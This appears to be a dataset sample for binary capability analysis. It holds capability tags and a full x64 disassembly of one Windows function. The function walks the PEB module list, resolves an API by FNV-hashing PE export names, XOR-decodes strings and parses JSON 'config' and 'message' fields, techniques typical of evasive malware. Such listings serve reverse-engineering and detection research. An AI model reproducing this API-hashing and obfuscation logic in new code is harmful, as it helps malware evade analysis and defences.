Function at 0x1800aca50
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x18023c800]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xorps xmm0, xmm0
mov qword [rbp - 0x30], rcx
mov r15, rcx
mov qword [rbp - 0x28], rdx
xor eax, eax
lea rcx, [rbp + 0x180]
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x1c0], rax
mov r13, r8
movups xmmword [rbp + 0x190], xmm0
mov r12, rdx
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
call fcn.180063e20
movdqa xmm0, xmmword [0x1801bb0c0]
lea rcx, [rbp - 0x70]
movdqa xmm1, xmmword [0x1801baee0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x40], 0x100
movdqa xmm0, xmmword [0x1801bac90]
movdqu xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.18007dbe0
xor edi, edi
lea rax, [rbp - 0x70]
xorps xmm0, xmm0
mov qword [rbp + 0x170], rdi
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x178], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800acb20
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x160]
call fcn.180001340
mov rdx, qword [rbp + 0x170]
movabs rax, 0x7fffffffffffffff
mov rcx, qword [r15 + 0x10]
sub rax, rdx
cmp rax, rcx
jb 0x1800adc24
cmp qword [rbp + 0x178], 0xf
lea r9, [rbp + 0x160]
mov rax, r15
cmova r9, qword [rbp + 0x160]
cmp qword [r15 + 0x18], 0xf
jbe 0x1800acb7e
mov rax, qword [r15]
mov qword [rsp + 0x30], rcx
lea r8, [rbp + 0x160]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rdx
movzx edx, byte [rsp + 0x40]
mov qword [rsp + 0x368], rbx
call fcn.180063540
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x1800acbf9
cmp rdx, 0xf
lea rax, [rcx + 0xa]
lea rbx, [rsp + 0x70]
mov qword [rbp - 0x80], rax
cmova rbx, qword [rsp + 0x70]
lea rdx, [0x1801b5108]
add rbx, rcx
mov r8d, 0xa
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x70]
mov byte [rbx + 0xa], dil
jmp 0x1800acc1e
movzx r8d, byte [rsp + 0x40]
lea r9, [0x1801b5108]
mov edx, 0xa
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x70]
call fcn.1800016d0
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x50], xmm0
mov rdx, r12
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
cmp qword [r12 + 0x18], 0xf
jbe 0x1800acc5e
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0x50]
call fcn.180072550
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x140], xmm0
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800accdf
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800accda
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800acd25
call fcn.18019d210
mov rdx, qword [rbp - 0x78]
movdqa xmm0, xmmword [0x1801bab50]
mov byte [rsp + 0x50], dil
movdqu xmmword [rsp + 0x60], xmm0
cmp rdx, 0xf
jbe 0x1800acd31
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800acd2c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800acd2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18019d210
cmp qword [rbp + 0x1a0], 0xf
lea rax, [rbp + 0x188]
mov qword [rbp + 0x198], rdi
cmova rax, qword [rbp + 0x188]
mov qword [rsp + 0x310], r14
movaps xmmword [rsp + 0x300], xmm7
mov byte [rax], dil
lea rax, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0xf
mov qword [rbp + 0x1b8], rdi
cmova rax, qword [rbp + 0x1a8]
mov byte [rax], dil
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x1800acdd5
cmp qword [rbp + 0x158], 0xf
lea r8, [rbp + 0x140]
mov edx, 0x2712
cmova r8, qword [rbp + 0x140]
call fcn.180151cd0
mov rcx, qword [rbp + 0x180]
call fcn.18014f4b0
test eax, eax
jne 0x1800acdd5
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x120]
call fcn.1800631f0
jmp 0x1800ace03
xorps xmm0, xmm0
lea rdx, str.0123456789ABDEFGHIJKLMNOPQRSTUVWXYZ
xorps xmm1, xmm1
lea rcx, [rbp + 0x120]
mov r8d, 1
movups xmmword [rbp + 0x120], xmm0
movdqu xmmword [rbp + 0x130], xmm1
call fcn.180001340
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.1800628d0
cmp qword [rbp + 0x138], 0xf
lea rcx, [rbp + 0x120]
lea rax, [rbp + 0x120]
mov qword [rbp - 0x38], rdi
cmova rcx, qword [rbp + 0x120]
lea r8, [rbp - 0x70]
add rcx, qword [rbp + 0x130]
lea rdx, [rsp + 0x70]
cmp qword [rbp + 0x138], 0xf
mov r9b, 1
mov qword [rsp + 0x78], rcx
lea rcx, [rbp]
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x70], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x20], dil
call fcn.18005eca0
lea r8, [rbp + 0xf0]
mov dl, 1
mov rcx, rax
call fcn.1800d6cc0
lea rcx, [rbp + 0x48]
call fcn.180068d90
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x1800aceac
mov rax, qword [rcx]
lea rdx, [rbp]
cmp rcx, rdx
setne dl
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
cmp byte [reloc.WS2_32.dll_gethostname], dil
mov rax, qword [str._VGFWP_9QZS_PgWUOc_QJ._B]
movdqa xmm7, xmmword [0x1801babe0]
mov r14d, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x48], rax
je 0x1800acff0
cmp r14d, 2
jl 0x1800acfb6
movdqa xmm2, xmmword [0x1801bab60]
movdqa xmm3, xmmword [0x1801bab70]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1801bac50]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmmword [0x1801bab80]
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rsp + 0x48]
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1801bad00]
xorps xmm2, xmm0
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
movd dword [rsp + 0x48], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801bab80]
psubd xmm3, xmm0
movd xmm0, dword [rsp + 0x4c]
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x1801bad00]
xorps xmm3, xmm0
movd dword [rsp + 0x4c], xmm3
jmp 0x1800acff0
lea r9, [rsp + 0x48]
mov r8d, edi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800acfc0
cmp byte [rbp + 0xf0], 1
mov qword [rsp + 0x318], rsi
jne 0x1800ad56a
mov rax, qword [rbp + 0xf8]
mov rsi, qword [rax]
mov rdi, rsi
mov rbx, qword [rsi + 8]
cmp byte [rbx + 0x19], 0
jne 0x1800ad044
nop dword [rax]
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x48]
call fcn.180054960
test al, al
jns 0x1800ad038
mov rbx, qword [rbx + 0x10]
jmp 0x1800ad03e
mov rdi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x1800ad020
cmp byte [rdi + 0x19], 0
jne 0x1800ad56a
lea rcx, [rdi + 0x20]
lea rdx, [rsp + 0x48]
call fcn.180054960
test al, al
jg 0x1800ad56a
cmp rdi, rsi
je 0x1800ad56a
xorps xmm0, xmm0
mov dword [rsp + 0x54], 0x656761
xorps xmm1, xmm1
mov dword [rsp + 0x50], 0x7373656d
movups xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x58], 0
lea rax, [rsp + 0x50]
movdqu xmmword [rbp - 0x60], xmm1
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800ad0a0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.180001340
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xf0]
call fcn.180069840
movups xmm0, xmmword [0x1801b5120]
movzx ecx, byte [0x1801b5130]
xor r8d, r8d
mov byte [rsp + 0x60], cl
mov rdi, rax
movups xmmword [rsp + 0x50], xmm0
cmp r14d, 2
jl 0x1800ad209
movdqa xmm0, xmmword [0x1801bad00]
lea rcx, [rsp + 0x54]
movdqa xmm4, xmmword [0x1801bab60]
movdqa xmm3, xmmword [0x1801bac50]
movdqa xmm5, xmmword [0x1801bab80]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800ad120
cmp r8d, 0x11
jge 0x1800ad250
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800ad220
xor eax, eax
mov byte [rsp + 0x70], 0
xor edx, edx
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x78]
call fcn.18007f070
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov byte [rsp + 0x70], 3
call fcn.18019d1d4
xorps xmm0, xmm0
mov rbx, rax
mov r8, 0xffffffffffffffff
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0
lea rax, [rsp + 0x50]
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800ad2a0
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.180001340
mov qword [rsp + 0x78], rbx
test rbx, rbx
jne 0x1800ad2f5
mov r8d, 0x4db6
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::string__m_value.string___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8d, 0x4db6
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::string__m_value.string___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rsp + 0x70]
mov rcx, rdi
call fcn.180069470
movzx ebx, byte [rsp + 0x70]
movzx edi, al
cmp bl, 1
jne 0x1800ad326
cmp qword [rsp + 0x78], 0
jne 0x1800ad385
mov r8d, 0x4db4
lea rcx, str.m_type___value_t::object__m_value.object___nullptr
jmp 0x1800ad378
cmp bl, 2
jne 0x1800ad342
cmp qword [rsp + 0x78], 0
jne 0x1800ad385
mov r8d, 0x4db5
lea rcx, str.m_type___value_t::array__m_value.array___nullptr
jmp 0x1800ad378
cmp bl, 3
jne 0x1800ad35e
cmp qword [rsp + 0x78], 0
jne 0x1800ad385
mov r8d, 0x4db6
lea rcx, str.m_type___value_t::string__m_value.string___nullptr
jmp 0x1800ad378
cmp bl, 8
jne 0x1800ad385
cmp qword [rsp + 0x78], 0
jne 0x1800ad385
mov r8d, 0x4db7
lea rcx, str.m_type___value_t::binary__m_value.binary___nullptr
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, bl
lea rcx, [rsp + 0x78]
call fcn.18007f070
test dil, dil
je 0x1800ad56a
mov rax, qword [0x180240670]
test rax, rax
jne 0x1800ad467
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1800ad448
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1800ad448
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0xd0452eb8
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1800ad443
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1800ad420
cmp edx, 0xe1290263
je 0x1800ad54e
test r8d, r8d
jne 0x1800ad400
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x1800ad45e
cmp qword [rax + 0x30], 0
jne 0x1800ad3d0
xor eax, eax
mov qword [0x180240670], rax
movdqa xmm0, xmmword [0x1801bacf0]
lea r8, [0x1801a2c24]
movdqa xmm1, xmmword [0x1801baef0]
lea rdx, [rbp - 0x70]
xor r9d, r9d
mov word [rbp - 0x49], reloc.WLDAP32.dll_Ordinal_33
xor ecx, ecx
mov dword [rbp - 0x50], 0x66656220
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x4c], 0x726f
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x4a], 0x65
mov byte [rbp - 0x47], 0
call rax
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.1800725e0
movzx edx, byte [rbp + 0xf0]
lea rcx, [rbp + 0xf8]
call fcn.18007f070
lea rcx, [rbp + 0x120]
call fcn.180068b30
lea rcx, [rbp + 0x140]
call fcn.180068b30
lea rcx, [rbp + 0x160]
call fcn.180068b30
lea rcx, [rbp + 0x180]
call fcn.180069100
mov rcx, r15
call fcn.180068b30
mov rcx, r12
call fcn.180068b30
mov rsi, qword [rsp + 0x318]
mov r14, qword [rsp + 0x310]
movaps xmm7, xmmword [rsp + 0x300]
mov rbx, qword [rsp + 0x368]
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.18019d700
add rsp, 0x320
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1800ad460
xorps xmm0, xmm0
mov dword [rsp + 0x54], 0x736769
xorps xmm1, xmm1
mov dword [rsp + 0x50], 0x666e6f63
movups xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x58], 0
lea rax, [rsp + 0x50]
movdqu xmmword [rbp - 0x60], xmm1
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800ad5a0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.180001340
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xf0]
call fcn.180069840
xorps xmm0, xmm0
lea rdx, [rbp + 0x1d0]
mov rcx, rax
mov rbx, rax
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1800727e0
xorps xmm0, xmm0
lea rdx, [rbp - 0x20]
mov rcx, rbx
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call fcn.1800a7c50
mov rbx, qword [rbp + 0x1d0]
cmp rbx, qword [rbp - 0x20]
jne case.0x1800ad6ae.0
mov r8, qword [rbp + 0x1e8]
lea r9, [0x180000000]
mov rsi, qword [rbp + 0x1e0]
mov rdi, qword [rbp + 0x1d8]
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x50], rsi
nop dword [rax]
test rbx, rbx
jne 0x1800ad66b
mov r8d, 0x33d3
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_object___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r8, qword [rsp + 0x48]
lea r9, [0x180000000]
movzx edx, byte [rbx]
cmp edx, 9
ja case.0x1800ad681.0
movsxd rax, edx
mov ecx, dword [r9 + rax*4 + 0xadc2c]
add rcx, r9
jmp rcx
cmp rdi, qword [rbp - 0x18]
jmp 0x1800ad693
cmp rsi, qword [rbp - 0x10]
jmp 0x1800ad693
cmp r8, qword [rbp - 8]
sete al
test al, al
jne 0x1800ad998
cmp edx, 9
ja case.0x1800ad6ae.3
mov ecx, dword [r9 + rdx*4 + 0xadc54]
add rcx, r9
jmp rcx
mov rax, qword [rbx + 8]
cmp rdi, qword [rax]
jne 0x1800ad6d3
mov r8d, 0x3316
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_it.object_iterator___m_object__m_value.object__end__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rbx, [rdi + 0x40]
jmp 0x1800ad70b
mov rax, qword [rbx + 8]
cmp rsi, qword [rax + 8]
jne 0x1800ad6fd
mov r8d, 0x331c
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_it.array_iterator___m_object__m_value.array__end__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, rsi
jmp 0x1800ad70b
test r8, r8
jne case.0x1800ad6ae.0
xorps xmm0, xmm0
mov dword [rsp + 0x76], 0x64695f
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x70], 0x666e6f63
lea rax, [rsp + 0x70]
mov word [rsp + 0x74], 0x6769
mov r8, 0xffffffffffffffff
mov byte [rsp + 0x7a], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800ad750
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.180001340
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.180069c20
mov rdx, qword [rbp - 0x58]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1800ad7b2
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ad7ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800adc16
call fcn.18019d210
xor r12d, r12d
xorps xmm0, xmm0
cmp byte [rbx], 3
mov esi, reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0x100], r12b
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], rsi
jne case.0x1800ad6ae.0
mov rdx, qword [rbx + 8]
lea rax, [rbp + 0x100]
cmp rax, rdx
je 0x1800ad819
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], rsi
jbe 0x1800ad7ff
mov rdx, qword [rdx]
lea rcx, [rbp + 0x100]
call fcn.18000aa40
mov rsi, qword [rbp + 0x118]
mov r12, qword [rbp + 0x110]
mov r15, qword [r13 + 8]
mov rbx, qword [r13]
mov r14, qword [rbp + 0x100]
cmp rbx, r15
je 0x1800ad86c
nop dword [rax]
mov r8, qword [rbx + 0x10]
lea rdx, [rbp + 0x100]
cmp rsi, 0xf
mov rcx, rbx
cmova rdx, r14
cmp qword [rbx + 0x18], 0xf
jbe 0x1800ad850
mov rcx, qword [rbx]
cmp r8, r12
jne 0x1800ad85e
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800ad867
add rbx, 0x20
cmp rbx, r15
jne 0x1800ad830
cmp rbx, r15
jne 0x1800ad8ab
mov rax, r15
cmp r15, qword [r13 + 0x10]
je 0x1800ad88b
lea rdx, [rbp + 0x100]
mov rcx, rax
call fcn.1800631f0
add qword [r13 + 8], 0x20
jmp 0x1800ad89d
lea r8, [rbp + 0x100]
mov rdx, rax
mov rcx, r13
call fcn.180056600
mov r14, qword [rbp + 0x100]
mov rsi, qword [rbp + 0x118]
cmp rsi, 0xf
jbe 0x1800ad8e2
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1800ad8da
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800adc16
mov rcx, r14
call fcn.18019d210
mov rbx, qword [rbp + 0x1d0]
lea r9, [0x180000000]
movzx eax, byte [rbx]
cmp eax, 9
ja case.0x1800ad907.0
mov ecx, dword [r9 + rax*4 + 0xadc7c]
add rcx, r9
jmp rcx
mov rax, rdi
mov rdi, qword [rdi + 0x10]
cmp byte [rdi + 0x19], 0
je 0x1800ad942
mov rdi, qword [rax + 8]
cmp byte [rdi + 0x19], 0
jne 0x1800ad95f
cmp rax, qword [rdi + 0x10]
jne 0x1800ad95f
mov rax, rdi
mov rdi, qword [rdi + 8]
cmp byte [rdi + 0x19], 0
je 0x1800ad920
mov r8, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
jmp 0x1800ad640
mov rcx, qword [rdi]
cmp byte [rcx + 0x19], 0
jne 0x1800ad95f
nop dword [rax + rax]
mov rax, qword [rcx]
mov rdi, rcx
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x1800ad950
mov r8, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
jmp 0x1800ad640
mov rsi, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
add rsi, 0x10
jmp 0x1800ad634
mov r8, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
inc r8
mov qword [rsp + 0x48], r8
jmp 0x1800ad640
movzx edx, byte [rbp + 0xf0]
cmp dl, 1
jne 0x1800ad9d3
cmp qword [rbp + 0xf8], 0
jne 0x1800ada67
mov r8d, 0x4db4
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::object__m_value.object___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, byte [rbp + 0xf0]
cmp dl, 2
jne 0x1800ada07
cmp qword [rbp + 0xf8], 0
jne 0x1800ada67
mov r8d, 0x4db5
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::array__m_value.array___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, byte [rbp + 0xf0]
cmp dl, 3
jne 0x1800ada37
cmp qword [rbp + 0xf8], 0
jne 0x1800ada67
mov r8d, 0x4db6
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::string__m_value.string___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, byte [rbp + 0xf0]
cmp dl, 8
jne 0x1800ada67
cmp qword [rbp + 0xf8], 0
jne 0x1800ada67
mov r8d, 0x4db7
lea rdx, str.E:Dev_nemesis_nemesisjson.hpp
lea rcx, str.m_type___value_t::binary__m_value.binary___nullptr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movzx edx, byte [rbp + 0xf0]
lea rcx, [rbp + 0xf8]
call fcn.18007f070
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x1800adab4
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adaaf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800adc16
call fcn.18019d210
mov rdx, qword [rbp + 0x158]
movdqa xmm0, xmmword [0x1801bab50]
mov byte [rbp + 0x120], 0
movdqu xmmword [rbp + 0x130], xmm0
cmp rdx, 0xf
jbe 0x1800adb14
mov rcx, qword [rbp + 0x140]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adb07
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800adc16
call fcn.18019d210
movdqa xmm0, xmmword [0x1801bab50]
mov rdx, qword [rbp + 0x178]
mov byte [rbp + 0x140], 0
movdqu xmmword [rbp + 0x150], xmm0
cmp rdx, 0xf
jbe 0x1800adb64
mov rcx, qword [rbp + 0x160]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800adb5f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800adc16
call fcn.18019d210
lea rcx, [rbp + 0x180]
call fcn.180069100
mov r15, qword [rbp - 0x30]
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1800adbaa
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800adba5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800adc16
mov rcx, r8
call fcn.18019d210
mov r12, qword [rbp - 0x28]
mov qword [r15 + 0x10], 0
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r15], 0
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1800adbfa
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x1800adbf5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800adc16
mov rcx, r8
call fcn.18019d210
mov qword [r12 + 0x10], 0
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
jmp 0x1800ad50f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
call fcn.18000aa20
int3